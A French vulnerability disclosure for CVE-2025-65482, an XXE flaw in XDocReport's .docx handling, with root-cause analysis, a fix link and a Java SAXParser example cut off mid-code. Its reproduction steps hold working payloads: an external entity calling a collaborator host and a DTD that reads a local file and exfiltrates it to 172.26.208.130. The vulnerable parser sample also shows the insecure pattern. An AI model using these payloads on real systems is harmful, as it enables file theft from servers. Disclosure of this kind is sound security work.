CVE-2025-65482 (XXE)

Injection d'entité externe XML (XXE) dans XDocReport

Définition du bug

Injection d'entité externe XML

Aperçu de la vulnérabilité

• L'injection d'entité externe XML (XXE) est une vulnérabilité dans le traitement des données au format XML, où un utilisateur insère des données XML faisant référence à un fichier ou à un système externe. Un attaquant peut utiliser cette vulnérabilité XXE identifiée pour scanner d'autres systèmes à la recherche de ports de service ouverts, demander des fichiers confidentiels et accéder à des fonctionnalités de systèmes connectés qui ne seraient autrement pas disponibles. De là, l'attaquant peut extraire des données, interagir avec les systèmes et provoquer des interruptions de service via l'injection XML.

Impact commercial

• XXE peut entraîner une atteinte à la réputation de l'entreprise en raison de la perte de confiance des utilisateurs. Il peut également entraîner un vol de données et des pertes financières indirectes pour l'entreprise via les coûts de notification, de remédiation et les données PII compromises.

Sévérité HAUTE

Description et impact

Le site web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers .docx sur le système. Lors du traitement, l'application utilise la bibliothèque fr.opensagres.xdocreport.document.docx qui contient une vulnérabilité XXE lorsqu'elle traite le fichier .docx de l'utilisateur via SAXParser.

Composant concerné

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Analyse de la cause racine

La cause est l'utilisation d'Apache POI.

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

C'est-à-dire qu'Apache POI est très profondément intégré, dans le module :

org.apache.poi.xwpf.converter.core

L'erreur se produit car XDocReport (dans le module fr.opensagres.xdocreport.document.docx) utilise Apache POI pour lire les fichiers .docx, et POI utilise le SAXParser par défaut de Java sans désactiver les fonctionnalités permettant le traitement des DTD et des entités externes. → Cela permet à un attaquant d'insérer un DOCTYPE avec une entité pointant vers l'extérieur (SYSTEM "http://...") ou vers un fichier interne (file:///...) → générant une XXE.

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Étapes pour reproduire

• Décompressez n'importe quel fichier docx

unzip ../vcspentest.docx

• Modifiez le contenu du fichier document.xml dans le docx

nano word/document.xml

modifiez avec un payload outbound pour le collabrator comme suit :

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

• recompressez en fichier poc

 zip -r ../poc.docx *

• téléchargez le fichier docx modifié pour qu'il soit traité par xdocreport

• Résultat : on voit une requête envoyée au collabrator

• Élevez l'impact pour lire des fichiers dans le système
• machine hôte stockant le fichier dtd sur la machine wsl 172.26.208.130. avec le contenu du fichier vcspentest.dtd comme suit :

<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

modifiez le fichier word/document.xml dans le fichier .docx avec le contenu suivant pour charger le dtd externe depuis la machine wsl :

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

• zippez le fichier en .docx et téléchargez-le sur le serveur pour traitement

• sur la machine wsl, on voit une requête envoyée avec le contenu du fichier D:/vcspentest.txt sur le serveur cible

Solution

• https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

Dans le code ou au niveau de la configuration du parseur XML, il est nécessaire de désactiver toutes les fonctionnalités liées aux DTD et aux entités externes.

correction similaire à ce code

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);